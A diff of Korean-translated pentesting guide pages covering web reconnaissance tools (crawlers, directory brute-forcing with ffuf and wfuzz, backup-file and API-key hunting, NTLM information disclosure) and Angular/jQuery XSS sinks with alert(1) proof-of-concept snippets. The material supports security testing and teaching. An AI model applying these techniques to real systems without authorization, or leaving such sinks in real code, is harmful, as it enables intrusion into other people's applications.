- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장입니다.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구입니다.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상에 대한 엔드포인트를 발견하는 데 사용되는 도구입니다.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견하고 응답을 다운로드하여 더 많은 링크를 찾습니다.
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성까지 크롤링하고 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
|
||||
|
||||
### 디렉토리 및 파일에 대한 무차별 대입
|
||||
|
||||
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
|
||||
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든 디렉토리**와 **스파이더링**에 의해 **발견된** 모든 디렉토리를 무차별 대입해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리의 이름을 추가할 수 있습니다).\
|
||||
도구:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
@ -241,16 +241,16 @@ SSL/TLS 취약점에 대한 정보:
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제합니다.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS 가져오기를 기반으로 중복 기능이 있는 URL을 제거합니다.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하는 Burp 확장입니다.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(자바스크립트 가져오기를 기반으로).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
|
||||
|
||||
**추천 사전:**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** 포함된 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
- [Assetnote 단어 목록](https://wordlists.assetnote.io)
|
||||
- [Assetnote wordlists](https://wordlists.assetnote.io)
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
- raft-large-directories-lowercase.txt
|
||||
- directory-list-2.3-medium.txt
|
||||
@ -268,37 +268,37 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
|
||||
|
||||
### 발견된 각 파일에서 확인할 사항
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계가 발생할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
|
||||
- **파일 백업**: 모든 파일을 찾은 후, 모든 실행 파일의 백업을 찾습니다 ("_.php_", "_.aspx_"...). 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**을 사용할 수 있습니다.**
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내에서 인수 취득에 취약할 수 있는 끊어진 링크를 찾습니다.
|
||||
- **파일 백업**: 모든 파일을 찾은 후, 모든 실행 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 파일의 일반적인 명명 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 또한 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**를 사용할 수 있습니다.**
|
||||
- **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
|
||||
- _Arjun 모든 기본 단어 목록:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
- **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다 (브라우저로 소스 코드를 열어도 데이터를 보지 못하도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
|
||||
- **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 보지 못하도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
|
||||
- **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API 키: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik와 같은 API 키를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
|
||||
- **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/index.html).
|
||||
- **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우 [**버킷의 권한을 확인하십시오**](buckets/index.html).
|
||||
|
||||
### 특별 발견
|
||||
|
||||
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **사항**을 **주목해야** 합니다.
|
||||
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **사항**을 **주목**해야 할 수 있습니다.
|
||||
|
||||
**흥미로운 파일**
|
||||
|
||||
- **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
|
||||
- [**.git** 파일을 발견하면 일부 정보를 추출할 수 있습니다](git.md)
|
||||
- **.env**를 발견하면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
- **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 "파일처럼" 보일 가능성이 높습니다.
|
||||
- **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼 보일" 것입니다.
|
||||
- **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링하는 것이 흥미로울 것입니다**. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
- 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
|
||||
- **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck 디오브퍼케이션** (문자와 함께 자바스크립트: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- 여러 경우에 **사용된 정규 표현식**을 **이해해야** 할 필요가 있습니다. 유용할 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
|
||||
- 여러 경우에 **사용된 정규 표현식**을 **이해해야 할 필요가 있습니다**. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- **양식이 감지된 파일을 모니터링**해야 할 수도 있습니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (우회)**
|
||||
|
||||
@ -308,27 +308,27 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
어떤 페이지가 **이 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면 (호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
|
||||
어떤 페이지가 **이 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
|
||||
|
||||
**NTLM 인증 - 정보 공개**
|
||||
|
||||
실행 중인 서버가 인증을 요청하는 경우 **Windows**이거나 **자격 증명**을 요청하는 로그인 화면을 발견하면 **정보 공개**를 유도할 수 있습니다.\
|
||||
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에, 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 공개**를 유도할 수 있습니다.\
|
||||
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다.
|
||||
|
||||
**HTTP 리디렉션 (CTF)**
|
||||
|
||||
**리디렉션** 내에 **내용을 넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다** (브라우저가 리디렉션을 실행하므로) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
**리디렉션** 내에 **내용을 넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
|
||||
### 웹 취약점 확인
|
||||
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로, 이제 가능한 많은 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 가능한 많은 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
웹 취약점에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
|
||||
웹 취약점에 대한 더 많은 정보는 다음에서 찾을 수 있습니다:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
|
@ -10,7 +10,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
* [ ] 사용자는 서버 측 또는 클라이언트 측 템플릿에 대한 제어 권한이 없습니다.
|
||||
* [ ] 신뢰할 수 없는 사용자 입력은 애플리케이션에서 신뢰하기 전에 적절한 보안 컨텍스트를 사용하여 정리됩니다.
|
||||
* [ ] `BypassSecurity*` 메서드는 신뢰할 수 없는 입력과 함께 사용되지 않습니다.
|
||||
* [ ] 신뢰할 수 없는 사용자 입력은 `ElementRef`, `Renderer2`, `Document`와 같은 Angular 클래스나 기타 JQuery/DOM 싱크에 전달되지 않습니다.
|
||||
* [ ] 신뢰할 수 없는 사용자 입력은 `ElementRef`, `Renderer2`, `Document`와 같은 Angular 클래스나 다른 JQuery/DOM 싱크에 전달되지 않습니다.
|
||||
|
||||
## What is Angular
|
||||
|
||||
@ -39,17 +39,17 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
문서에 따르면, 모든 Angular 애플리케이션은 최소한 하나의 구성 요소, 즉 DOM과 구성 요소 계층을 연결하는 루트 구성 요소(`AppComponent`)를 가지고 있습니다. 각 구성 요소는 애플리케이션 데이터와 로직을 포함하는 클래스를 정의하며, 대상 환경에 표시될 뷰를 정의하는 HTML 템플릿과 연결됩니다. `@Component()` 데코레이터는 그 아래의 클래스를 구성 요소로 식별하고, 템플릿 및 관련 구성 요소 전용 메타데이터를 제공합니다. `AppComponent`는 `app.component.ts` 파일에 정의되어 있습니다.
|
||||
문서에 따르면, 모든 Angular 애플리케이션은 최소한 하나의 컴포넌트, 즉 DOM과 컴포넌트 계층을 연결하는 루트 컴포넌트(`AppComponent`)를 가지고 있습니다. 각 컴포넌트는 애플리케이션 데이터와 로직을 포함하는 클래스를 정의하며, 타겟 환경에 표시될 뷰를 정의하는 HTML 템플릿과 연결됩니다. `@Component()` 데코레이터는 그 아래의 클래스를 컴포넌트로 식별하고, 템플릿 및 관련 컴포넌트 전용 메타데이터를 제공합니다. `AppComponent`는 `app.component.ts` 파일에 정의되어 있습니다.
|
||||
|
||||
Angular NgModules는 애플리케이션 도메인, 워크플로우 또는 밀접하게 관련된 기능 세트에 전념하는 구성 요소 집합에 대한 컴파일 컨텍스트를 선언합니다. 모든 Angular 애플리케이션은 일반적으로 `AppModule`이라고 명명된 루트 모듈을 가지고 있으며, 이는 애플리케이션을 시작하는 부트스트랩 메커니즘을 제공합니다. 애플리케이션은 일반적으로 많은 기능 모듈을 포함합니다. `AppModule`은 `app.module.ts` 파일에 정의되어 있습니다.
|
||||
Angular NgModules는 애플리케이션 도메인, 워크플로우 또는 밀접하게 관련된 기능 세트를 위한 컴파일 컨텍스트를 선언합니다. 모든 Angular 애플리케이션은 일반적으로 `AppModule`이라고 명명된 루트 모듈을 가지고 있으며, 이는 애플리케이션을 시작하는 부트스트랩 메커니즘을 제공합니다. 애플리케이션은 일반적으로 많은 기능 모듈을 포함합니다. `AppModule`은 `app.module.ts` 파일에 정의되어 있습니다.
|
||||
|
||||
Angular `Router` NgModule은 애플리케이션의 다양한 상태와 뷰 계층 간의 탐색 경로를 정의할 수 있는 서비스를 제공합니다. `RouterModule`은 `app-routing.module.ts` 파일에 정의되어 있습니다.
|
||||
|
||||
특정 뷰와 연결되지 않은 데이터나 로직을 공유하고 싶다면 서비스 클래스를 생성합니다. 서비스 클래스 정의는 `@Injectable()` 데코레이터로 즉시 앞서 있습니다. 이 데코레이터는 다른 제공자가 클래스에 종속성으로 주입될 수 있도록 하는 메타데이터를 제공합니다. 의존성 주입(DI)은 구성 요소 클래스를 간결하고 효율적으로 유지할 수 있게 해줍니다. 이들은 서버에서 데이터를 가져오거나, 사용자 입력을 검증하거나, 콘솔에 직접 로그를 남기지 않고, 이러한 작업을 서비스에 위임합니다.
|
||||
특정 뷰와 관련이 없고 컴포넌트 간에 공유하고 싶은 데이터나 로직에 대해서는 서비스 클래스를 생성합니다. 서비스 클래스 정의는 즉시 `@Injectable()` 데코레이터로 시작됩니다. 이 데코레이터는 다른 제공자가 클래스에 종속성으로 주입될 수 있도록 하는 메타데이터를 제공합니다. 의존성 주입(DI)은 컴포넌트 클래스를 간결하고 효율적으로 유지할 수 있게 해줍니다. 이들은 서버에서 데이터를 가져오거나, 사용자 입력을 검증하거나, 콘솔에 직접 로그를 남기지 않고, 이러한 작업을 서비스에 위임합니다.
|
||||
|
||||
## Sourcemap 구성
|
||||
|
||||
Angular 프레임워크는 `tsconfig.json` 옵션을 따르며 TypeScript 파일을 JavaScript 코드로 변환한 다음 `angular.json` 구성으로 프로젝트를 빌드합니다. `angular.json` 파일을 살펴보면 소스맵을 활성화하거나 비활성화하는 옵션이 있음을 확인했습니다. Angular 문서에 따르면, 기본 구성은 스크립트에 대해 소스맵 파일이 활성화되어 있으며 기본적으로 숨겨져 있지 않습니다:
|
||||
Angular 프레임워크는 `tsconfig.json` 옵션을 따르며 TypeScript 파일을 JavaScript 코드로 변환한 후 `angular.json` 구성으로 프로젝트를 빌드합니다. `angular.json` 파일을 살펴보면 소스맵을 활성화하거나 비활성화하는 옵션이 있음을 확인했습니다. Angular 문서에 따르면, 기본 구성은 스크립트에 대해 소스맵 파일이 활성화되어 있으며 기본적으로 숨겨져 있지 않습니다:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -64,7 +64,7 @@ Angular 프레임워크는 `tsconfig.json` 옵션을 따르며 TypeScript 파일
|
||||
|
||||
## 데이터 바인딩
|
||||
|
||||
바인딩은 구성 요소와 해당 뷰 간의 통신 프로세스를 의미합니다. 이는 Angular 프레임워크와 데이터 전송에 사용됩니다. 데이터는 이벤트, 보간, 속성 또는 양방향 바인딩 메커니즘을 통해 전달될 수 있습니다. 또한, 데이터는 관련 구성 요소(부모-자식 관계) 간 및 두 개의 관련 없는 구성 요소 간에 서비스 기능을 사용하여 공유될 수 있습니다.
|
||||
바인딩은 구성 요소와 해당 뷰 간의 통신 프로세스를 의미합니다. 이는 Angular 프레임워크와 데이터 전송에 사용됩니다. 데이터는 이벤트, 보간, 속성 또는 양방향 바인딩 메커니즘을 통해 전달될 수 있습니다. 또한, 데이터는 관련 구성 요소(부모-자식 관계) 간 및 두 개의 관련 없는 구성 요소 간에 Service 기능을 사용하여 공유될 수 있습니다.
|
||||
|
||||
바인딩은 데이터 흐름에 따라 분류할 수 있습니다:
|
||||
|
||||
@ -74,12 +74,12 @@ Angular 프레임워크는 `tsconfig.json` 옵션을 따르며 TypeScript 파일
|
||||
|
||||
바인딩은 속성, 이벤트 및 속성뿐만 아니라 소스 지시문의 모든 공개 멤버에서 호출할 수 있습니다:
|
||||
|
||||
| 유형 | 대상 | 예시 |
|
||||
| 유형 | 대상 | 예시 |
|
||||
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| 속성 | 요소 속성, 구성 요소 속성, 지시문 속성 | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| 이벤트 | 요소 이벤트, 구성 요소 이벤트, 지시문 이벤트 | \<button type="button" (click)="onSave()">Save |
|
||||
| 양방향 | 이벤트 및 속성 | \<input \[(ngModel)]="name"> |
|
||||
| 속성 | 속성 (예외) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| 양방향 | 이벤트 및 속성 | \<input \[(ngModel)]="name"> |
|
||||
| 속성 | 속성 (예외) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| 클래스 | 클래스 속성 | \<div \[class.special]="isSpecial">Special |
|
||||
| 스타일 | 스타일 속성 | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
@ -98,7 +98,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
```
|
||||
|
||||
결과: `<script>alert(1)</script><h1>test</h1>`
|
||||
2. 속성, 속성, 클래스 및 스타일에 바인딩 또는 `[attribute]="user_input"` - 제공된 보안 컨텍스트에 따라 정화를 수행합니다.
|
||||
2. 속성, 속성, 클래스 및 스타일에 대한 바인딩 또는 `[attribute]="user_input"` - 제공된 보안 컨텍스트에 따라 정화를 수행합니다.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -121,9 +121,9 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
## 취약점
|
||||
|
||||
### 보안 신뢰 우회 방법
|
||||
### 보안 신뢰 우회 메서드
|
||||
|
||||
Angular는 기본 정화 프로세스를 우회하고 특정 컨텍스트에서 값이 안전하게 사용될 수 있음을 나타내기 위해 다음과 같은 방법 목록을 도입합니다:
|
||||
Angular는 기본 정화 프로세스를 우회하고 특정 컨텍스트에서 값이 안전하게 사용될 수 있음을 나타내기 위해 메서드 목록을 도입합니다. 다음은 다섯 가지 예입니다:
|
||||
|
||||
1. `bypassSecurityTrustUrl`은 주어진 값이 안전한 스타일 URL임을 나타내는 데 사용됩니다:
|
||||
|
||||
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
|
||||
//result
|
||||
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
||||
```
|
||||
3. `bypassSecurityTrustHtml`은 주어진 값이 안전한 HTML임을 나타내는 데 사용됩니다. 이 방법으로 DOM 트리에 `script` 요소를 삽입하면 포함된 JavaScript 코드가 실행되지 않습니다.
|
||||
3. `bypassSecurityTrustHtml`은 주어진 값이 안전한 HTML임을 나타내는 데 사용됩니다. 이 방법으로 DOM 트리에 `script` 요소를 삽입하더라도 포함된 JavaScript 코드를 실행하지 않습니다.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -343,7 +343,7 @@ this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
|
||||
<img #img>
|
||||
<button (click)="setAttribute()">Click me!</button>
|
||||
```
|
||||
* DOM 요소의 속성을 설정하려면 `Renderer2.setProperty()` 메서드를 사용하여 XSS 공격을 유발할 수 있습니다:
|
||||
* DOM 요소의 속성을 설정하려면 `Renderer2.setProperty()` 메서드를 사용하고 XSS 공격을 유발할 수 있습니다:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -371,11 +371,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
<button (click)="setProperty()">Click me!</button>
|
||||
```
|
||||
|
||||
우리의 연구 중에, 우리는 XSS 및 CSS 주입과 관련하여 `setStyle()`, `createComment()`, 및 `setValue()`와 같은 다른 `Renderer2` 메서드의 동작도 조사했습니다. 그러나 이러한 메서드의 기능적 제한으로 인해 유효한 공격 벡터를 찾을 수 없었습니다.
|
||||
연구 중에 우리는 XSS 및 CSS 주입과 관련하여 `Renderer2`의 다른 메서드인 `setStyle()`, `createComment()`, 및 `setValue()`의 동작도 조사했습니다. 그러나 이러한 메서드의 기능적 제한으로 인해 유효한 공격 벡터를 찾을 수 없었습니다.
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQuery는 Angular 프로젝트에서 HTML DOM 객체를 조작하는 데 도움을 줄 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 잘 알려진 바와 같이, 이 라이브러리의 메서드는 XSS 취약점을 달성하기 위해 악용될 수 있습니다. Angular 프로젝트에서 취약한 jQuery 메서드가 어떻게 악용될 수 있는지 논의하기 위해 이 하위 섹션을 추가했습니다.
|
||||
jQuery는 Angular 프로젝트에서 HTML DOM 객체를 조작하는 데 도움을 줄 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 이 라이브러리의 메서드는 XSS 취약점을 달성하기 위해 악용될 수 있는 것으로 알려져 있습니다. 취약한 jQuery 메서드가 Angular 프로젝트에서 어떻게 악용될 수 있는지 논의하기 위해 이 하위 섹션을 추가했습니다.
|
||||
|
||||
* `html()` 메서드는 일치하는 요소 집합의 첫 번째 요소의 HTML 내용을 가져오거나 모든 일치하는 요소의 HTML 내용을 설정합니다. 그러나 설계상 HTML 문자열을 수용하는 모든 jQuery 생성자 또는 메서드는 잠재적으로 코드를 실행할 수 있습니다. 이는 `<script>` 태그의 주입 또는 코드를 실행하는 HTML 속성의 사용으로 발생할 수 있습니다.
|
||||
|
||||
@ -404,13 +404,13 @@ $("p").html("<script>alert(1)</script>");
|
||||
<button>Click me</button>
|
||||
<p>some text here</p>
|
||||
```
|
||||
* `jQuery.parseHTML()` 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 네이티브 메서드를 사용하며, 이 노드는 문서에 삽입될 수 있습니다.
|
||||
* `jQuery.parseHTML()` 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 기본 메서드를 사용하며, 이를 문서에 삽입할 수 있습니다.
|
||||
|
||||
```tsx
|
||||
